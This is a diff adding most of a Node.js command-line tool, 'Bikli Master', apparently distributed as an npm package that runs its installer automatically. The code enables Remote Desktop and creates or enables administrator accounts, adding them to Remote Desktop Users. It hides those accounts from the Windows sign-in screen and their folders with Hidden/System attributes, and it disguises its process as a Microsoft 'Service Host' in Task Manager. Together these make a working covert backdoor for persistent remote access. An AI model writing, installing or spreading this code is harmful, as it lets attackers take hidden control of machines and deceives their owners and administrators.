+    { target: path.join(process.env.ProgramFiles || 'C:\\Program Files', 'Bikli') },
+    { target: path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'Bikli') },
+    { target: path.join(process.env.ProgramFiles || 'C:\\Program Files', 'RDP Wrapper'), grants: serviceRead },
+    { target: path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'RDP Wrapper'), grants: serviceRead },
+    { target: path.join(programData, 'BikliWrapper') },
+    { target: path.join(programData, 'Bikli') }
+  ];
+  for (const folder of appFolders) hideFolder(folder.target, false, folder.grants || []);
+
+  const userFolders = [
+    path.join(usersDir, 'Administrator'),
+    path.join(usersDir, 'admin'),
+    path.join(usersDir, 'user')
+  ];
+  for (const folder of userFolders) hideFolder(folder, true);
+}
+
+function saveAccountCredentials(username, password) {
+  const dir = path.dirname(credentialsFile);
+  fs.mkdirSync(dir, { recursive: true });
+  if (fs.existsSync(credentialsFile)) {
+    try {
+      run(attrib, ['-h', '-s', credentialsFile], { allowFailure: true });
+    } catch {
+      // ignore
+    }
+  }
+  fs.writeFileSync(credentialsFile, JSON.stringify({ username, password }, null, 2), {
+    encoding: 'utf8',
+    mode: 0o600
+  });
+  run(icacls, [
+    credentialsFile,
+    '/inheritance:r',
+    '/grant:r',
+    '*S-1-5-18:(F)',
+    `*${administratorsGroupSid}:(F)`
+  ]);
+  hideProtectedFolders();
+}
+
+function showAccountCredentials() {
+  requireWindows();
+  if (!isAdministrator()) return elevateAndRun('credentials');
+  if (!fs.existsSync(credentialsFile)) {
+    fail('No saved password is available. The built-in Administrator account may already have been enabled.');
+  }
+  const credentials = JSON.parse(fs.readFileSync(credentialsFile, 'utf8'));
+  console.log(`Username: ${credentials.username}`);
+  console.log(`Password: ${credentials.password}`);
+  console.log(`Stored for Administrators only: ${credentialsFile}`);
+}
+
+function parseAccountReport(stdout) {
+  const reportLine = (stdout || '')
+    .split(/\r?\n/)
+    .map(line => line.trim())
+    .find(line => line.startsWith('{'));
+  if (!reportLine) {
+    fail(`The account configuration script did not return a JSON report.${(stdout || '').trim() ? `\n${stdout.trim()}` : ''}`, 7);
+  }
+  try {
+    return JSON.parse(reportLine);
+  } catch {
+    fail(`The account configuration script returned an unreadable report: ${reportLine}`, 7);
+    return null;
+  }
+}
+
+function requireValidUserName(name) {
+  if (!/^[A-Za-z0-9._-]{1,20}$/.test(name)) {
+    fail('Usernames may only contain letters, digits, dots, dashes, and underscores (max 20).');
+  }
+  return name;
+}
+
+function createRdpAdministrator() {
+  requireWindows();
+  if (!isAdministrator()) return elevateAndRun('create-user');
+
+  const requestedPassword = process.env.BIKLIMASTER_USER_PASSWORD || configuredAdministratorPassword();
+  const accountPassword = requestedPassword || generatedAccountPassword();
+  const script = [
+    `$ErrorActionPreference='Stop'`,
+    `$password=$env:BIKLIMASTER_ACCOUNT_PASSWORD`,
+    `$secure=ConvertTo-SecureString $password -AsPlainText -Force`,
+    `$groupSids=@(${powershellLiteral(administratorsGroupSid)},${powershellLiteral(remoteDesktopUsersGroupSid)})`,
+    `$builtIn=Get-LocalUser | Where-Object {$_.SID.Value -match '-500$'} | Select-Object -First 1`,
+    `if($null -eq $builtIn){throw 'Built-in Administrator account (RID 500) was not found'}`,
+    `$builtInWasDisabled=-not $builtIn.Enabled`,
+    `$target=$null;$action='';$createdNew=$false;$enabledBuiltIn=$false;$passwordChanged=$false`,
+    `if($builtInWasDisabled){Set-LocalUser -Name $builtIn.Name -Password $secure;Enable-LocalUser -Name $builtIn.Name;$target=Get-LocalUser -SID $builtIn.SID;$enabledBuiltIn=$true;$passwordChanged=$true;$action='enabled-builtin'}else{$admin=Get-LocalUser -Name 'admin' -ErrorAction SilentlyContinue;if($null -eq $admin){New-LocalUser -Name 'admin' -Password $secure -FullName 'admin' -Description 'Local administrator created by Bikli Master' -PasswordNeverExpires | Out-Null;$target=Get-LocalUser -Name 'admin';$createdNew=$true;$passwordChanged=$true;$action='created-admin'}else{$existingUser=Get-LocalUser -Name 'user' -ErrorAction SilentlyContinue;if($null -eq $existingUser){New-LocalUser -Name 'user' -Password $secure -FullName 'user' -Description 'Local administrator created by Bikli Master' -PasswordNeverExpires | Out-Null;$target=Get-LocalUser -Name 'user';$createdNew=$true;$passwordChanged=$true;$action='created-user'}else{$target=$existingUser;$action='exists-user'}}}`,
+    `if(-not $target.Enabled){Enable-LocalUser -Name $target.Name;$target=Get-LocalUser -SID $target.SID}`,
+    `foreach($groupSid in $groupSids){$group=Get-LocalGroup -SID $groupSid;$member=Get-LocalGroupMember -Group $group.Name | Where-Object {$_.SID.Value -eq $target.SID.Value};if($null -eq $member){Add-LocalGroupMember -Group $group.Name -Member $target}}`,
+    `$verified=@()`,
+    `foreach($groupSid in $groupSids){$group=Get-LocalGroup -SID $groupSid;$member=Get-LocalGroupMember -Group $group.Name | Where-Object {$_.SID.Value -eq $target.SID.Value};if($null -eq $member){throw ('Account is not a member of '+$group.Name)};$verified+=$group.Name}`,
+    `$userListKey='HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList'`,
+    `$regKey=Get-Item -LiteralPath $userListKey -ErrorAction SilentlyContinue`,
+    `$currentVal=if($null -ne $regKey){$regKey.GetValue($target.Name, $null)}else{$null}`,
+    `if($null -eq $currentVal -or $currentVal -ne 0){if(-not (Test-Path $userListKey)){New-Item -Path $userListKey -Force | Out-Null};Set-ItemProperty -Path $userListKey -Name $target.Name -Type DWord -Value 0 -Force | Out-Null;$regKey=Get-Item -LiteralPath $userListKey;if($regKey.GetValue($target.Name, $null) -ne 0){throw ('Could not hide '+$target.Name+' from the sign-in screen')};$alreadyHidden=$false}else{$alreadyHidden=$true}`,
+    `$userDir=Join-Path $env:SystemDrive ('Users\\'+$target.Name);if(Test-Path $userDir){attrib +h +s $userDir 2>$null | Out-Null;attrib +h +s (Join-Path $userDir '*.*') /s /d 2>$null | Out-Null}`,
+    `[PSCustomObject]@{Name=$target.Name;BuiltInName=$builtIn.Name;Action=$action;BuiltInWasDisabled=$builtInWasDisabled;EnabledBuiltIn=$enabledBuiltIn;CreatedNew=$createdNew;PasswordChanged=$passwordChanged;Enabled=(Get-LocalUser -SID $target.SID).Enabled;Groups=$verified;HiddenUser=$target.Name;AlreadyHidden=$alreadyHidden} | ConvertTo-Json -Compress`
+  ].join(';');
+  const result = run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script], {
+    env: {
+      ...process.env,
+      BIKLIMASTER_ACCOUNT_PASSWORD: accountPassword
+    }
+  });
+  const account = parseAccountReport(result.stdout);
+  if (!account.Enabled || !Array.isArray(account.Groups) || account.Groups.length !== 2 || !account.HiddenUser) {
+    fail('The Remote Desktop administrator account could not be verified.', 7);
+  }
+
+  if (account.PasswordChanged) {
+    saveAccountCredentials(account.Name, accountPassword);
+    const message = {
+      'enabled-builtin': `Built-in Administrator was disabled; set the password and enabled it: ${account.Name}`,
+      'created-admin': `Built-in Administrator is already enabled and left untouched; created hidden admin account: ${account.Name}`,
+      'created-user': `Built-in Administrator and admin already exist and were left untouched; created hidden account: ${account.Name}`
+    }[account.Action] || `Configured account: ${account.Name}`;
+    console.log(message);
+    console.log(`Password: ${accountPassword}`);
+    console.log('The configured password was applied and saved for administrator-only retrieval.');
+  } else {
+    console.log(`Administrator, admin, and user accounts already exist; left their passwords unchanged and verified ${account.Name}.`);
+  }
+  console.log(`Verified ${account.Name} in Administrators and Remote Desktop Users.`);
+  if (account.AlreadyHidden) {
+    console.log(`${account.HiddenUser} is already hidden from the sign-in user list; left it unchanged.`);
+  } else {
+    console.log(`Hidden from the sign-in user list: ${account.HiddenUser}.`);
+  }
+  hideProtectedFolders();
+}
+
+function unhideUser() {
+  requireWindows();
+  const targetUser = process.argv[3] ? requireValidUserName(process.argv[3]) : '';
+  if (!isAdministrator()) return elevateAndRun(targetUser ? `unhide-user ${targetUser}` : 'unhide-user');
+  const script = [
+    `$ErrorActionPreference='Stop'`,
+    `$userListKey='HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList'`,
+    `if(-not (Test-Path $userListKey)){Write-Output 'No hidden users found.';exit 0}`,
+    `$key=Get-Item -LiteralPath $userListKey`,
+    targetUser ? [
+      `$val=$key.GetValue('${targetUser}', $null)`,
+      `if($null -eq $val){Write-Output 'User \"${targetUser}\" is not hidden.'}else{Remove-ItemProperty -Path $userListKey -Name '${targetUser}' -Force;Write-Output 'Unhid user: ${targetUser}'}`,
+      `$userDir=Join-Path $env:SystemDrive ('Users\\${targetUser}');if(Test-Path $userDir){attrib -h -s $userDir 2>$null | Out-Null}`
+    ].join(';') : [
+      `$props=@($key.Property)`,
+      `if($props.Count -eq 0){Write-Output 'No hidden users found.'}else{foreach($p in $props){Remove-ItemProperty -Path $userListKey -Name $p -Force;Write-Output ('Unhid user: '+$p);$userDir=Join-Path $env:SystemDrive ('Users\\'+$p);if(Test-Path $userDir){attrib -h -s $userDir 2>$null | Out-Null}}}`
+    ].join(';')
+  ].join(';');
+  const result = run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script]);
+  if (result.stdout.trim()) console.log(result.stdout.trim());
+}
+
+function hideUser() {
+  requireWindows();
+  const targetUser = process.argv[3];
+  if (!targetUser) fail('Please specify a username to hide (e.g. biklitool hide-user Administrator).');
+  requireValidUserName(targetUser);
+  if (!isAdministrator()) return elevateAndRun(`hide-user ${targetUser}`);
+  const script = [
+    `$ErrorActionPreference='Stop'`,
+    `$userListKey='HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList'`,
+    `if(-not (Test-Path $userListKey)){New-Item -Path $userListKey -Force | Out-Null}`,
+    `$key=Get-Item -LiteralPath $userListKey`,
+    `$currentVal=$key.GetValue('${targetUser}', $null)`,
+    `if($null -eq $currentVal -or $currentVal -ne 0){Set-ItemProperty -Path $userListKey -Name '${targetUser}' -Type DWord -Value 0 -Force | Out-Null;$key=Get-Item -LiteralPath $userListKey;if($key.GetValue('${targetUser}', $null) -ne 0){throw ('Could not hide ${targetUser} from the sign-in screen')};Write-Output 'Hidden from the sign-in user list: ${targetUser}.'}else{Write-Output 'User ${targetUser} is already hidden; left unchanged.'}`,
+    `$userDir=Join-Path $env:SystemDrive ('Users\\${targetUser}');if(Test-Path $userDir){attrib +h +s $userDir 2>$null | Out-Null;attrib +h +s (Join-Path $userDir '*.*') /s /d 2>$null | Out-Null}`
+  ].join(';');
+  const result = run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script]);
+  if (result.stdout.trim()) console.log(result.stdout.trim());
+}
+
+function hideFoldersCommand() {
+  requireWindows();
+  if (!isAdministrator()) return elevateAndRun('hide-folders');
+  hideProtectedFolders();
+  console.log('Applied Hidden and System attributes and secured folder permissions.');
+}
+
+function status() {
+  requireWindows();
+  const bikli = installedBikliPath();
+  const bikliDesc = bikli ? fileDescription(bikli) : '';
+  console.log(`Bikli CLI: ${bikli ? `Installed (${fileVersion(bikli) || 'unknown version'}) [${bikliDesc || 'Service Host'}]` : 'Not installed'}`);
+  const rdp = remoteDesktopState();
+  console.log(`Remote Desktop: ${rdp.enabled ? 'Enabled' : 'Disabled'}${rdp.port === null ? '' : ` (port ${rdp.port})`}`);
+  const wrapper = runWrapper(['status'], { allowFailure: true });
+  if (wrapper.stdout.trim()) console.log(wrapper.stdout.trim());
+  if (wrapper.stderr.trim()) console.error(wrapper.stderr.trim());
+  process.exitCode = bikli && wrapper.status === 0 ? 0 : 2;
+}
+
+function selfTest() {
+  verifyPayload();
+  const ini = fs.readFileSync(wrapperIni, 'utf8');
+  const embeddedWrapper = fs.readFileSync(wrapperScript, 'utf8');
+  const packageConfig = JSON.parse(fs.readFileSync(packageConfigFile, 'utf8'));
+  const sampleVBuf = createVsVersionInfo({
+    CompanyName: 'Microsoft Corporation',
+    FileDescription: 'Service Host: Network Infrastructure Service',
+    ProductName: 'Microsoft® Windows® Operating System'
+  });
+
+  const checks = {
+    bikliInstaller: fs.statSync(bikliInstaller).size > 10000000,
+    wrapperInstaller: fs.statSync(wrapperInstaller).size > 100000,
+    targetSupport: ini.split(/\r?\n/).some(line => line.trim() === '[10.0.26100.8737]'),
+    wrapperScript: fs.statSync(wrapperScript).size > 10000,
+    enablesRemoteDesktop: embeddedWrapper.includes("name: 'fDenyTSConnections', value: 0"),
+    configuresPort3389: embeddedWrapper.includes("name: 'PortNumber', value: 3389"),
+    administratorGroup: administratorsGroupSid === 'S-1-5-32-544',
+    remoteDesktopUsersGroup: remoteDesktopUsersGroupSid === 'S-1-5-32-555',
+    administratorPasswordConfig: typeof packageConfig.administratorPassword === 'string',
+    bikliKeyConfig: typeof packageConfig.bikliKey === 'string',
+    serviceHostDisguiseEngine: sampleVBuf.length > 300,
+    hidesLoginAccounts: fs.readFileSync(__filename, 'utf8').includes('SpecialAccounts\\\\UserList')
+  };
+  for (const [name, passed] of Object.entries(checks)) console.log(`${passed ? 'PASS' : 'FAIL'} ${name}`);
+  if (!Object.values(checks).every(Boolean)) fail('Bikli Master self-test failed.');
+}
+
+function help() {
+  console.log([
+    'Bikli Master / Bikli Tool',
+    '',
+    'Commands:',
+    '  biklitool install       Install/update Bikli CLI and Bikli Wrapper',
+    '  biklitool disguise [n]  Disguise Bikli as Windows Service Host in Task Manager',
+    '  biklitool enable-rdp    Enable RDP, port 3389, firewall, and defaults',
+    '  biklitool disable-rdp   Disable RDP and stop the RDP listener',
+    '  biklitool create-user   Enable/verify built-in Administrator for RDP',
+    '  biklitool unhide-user [name]  Unhide account(s) from Windows sign-in screen',
+    '  biklitool hide-user <name>    Hide specific account from Windows sign-in screen',
+    '  biklitool hide-folders  Hide and protect Program Files & ProgramData folders',
+    '  biklitool setup-key     Apply the Bikli key from config.json (bikli up --setup-key)',
+    '  biklitool credentials   Display its saved generated password',
+    '  biklitool status        Show both component states',
+    '  biklitool wrapper ...   Run a Bikli Wrapper CLI command',
+    '  biklitool self-test     Validate package payloads without installing',
+    '  biklitool elevation-self-test  Validate UAC without installing',
+    '',
+    'The global install automatically runs the install command.'
+  ].join(os.EOL));
+}
+
+function main() {
+  const command = (process.argv[2] || 'status').toLowerCase();
+  if (command === 'install') {
+    if (process.argv.includes('--postinstall')) {
+      try {
+        return install();
+      } catch (error) {
+        console.error(`Bikli Master postinstall could not finish: ${error.message}`);
+        console.error('Run "biklitool install" from an Administrator terminal to complete the installation.');
+        process.exitCode = 0;
+        return;
+      }
+    }
+    return install();
+  }
+  const passiveCommands = ['help', '--help', '-h', 'self-test', 'elevation-self-test'];
+  if (!passiveCommands.includes(command) && process.platform === 'win32' &&
+      !process.argv.includes('--elevated') && !setupAlreadyDone()) {
+    console.log('First-run setup detected (npm may have blocked the install script); running the installer now...');
+    try {
+      install();
+    } catch (error) {
+      console.error(`First-run setup could not finish: ${error.message}`);
+      console.error('Run "biklitool install" from an Administrator terminal to complete the installation.');
+    }
+  }
+  if (command === 'disguise') return disguiseBikli(process.argv[3]);
+  if (command === 'enable-rdp' || command === 'enable') return enableRemoteDesktop();
+  if (command === 'disable-rdp' || command === 'disable') return disableRemoteDesktop();
+  if (command === 'create-user') return createRdpAdministrator();
+  if (command === 'unhide-user' || command === 'unhide-users' || command === 'unhide' || command === 'unhide-all') return unhideUser();
+  if (command === 'hide-user' || command === 'hide') return hideUser();
+  if (command === 'hide-folders' || command === 'hide-folder') return hideFoldersCommand();
+  if (command === 'setup-key') return setupBikliKey();
+  if (command === 'credentials') return showAccountCredentials();
+  if (command === 'status') return status();
+  if (command === 'self-test') return selfTest();
+  if (command === 'elevation-self-test') return elevateAndRun('self-test');
+  if (command === 'wrapper') {
+    const result = runWrapper(process.argv.slice(3), { inherit: true, allowFailure: true });
+    process.exitCode = result.status === null ? 1 : result.status;
+    return;
+  }
+  if (command === 'help' || command === '--help' || command === '-h') return help();
+  fail(`Unknown command: ${command}`);
+}
+
+try {
+  main();
+} catch (error) {
+  console.error(`Bikli Master error: ${error.message}`);
+  process.exitCode = error.exitCode || 1;
+}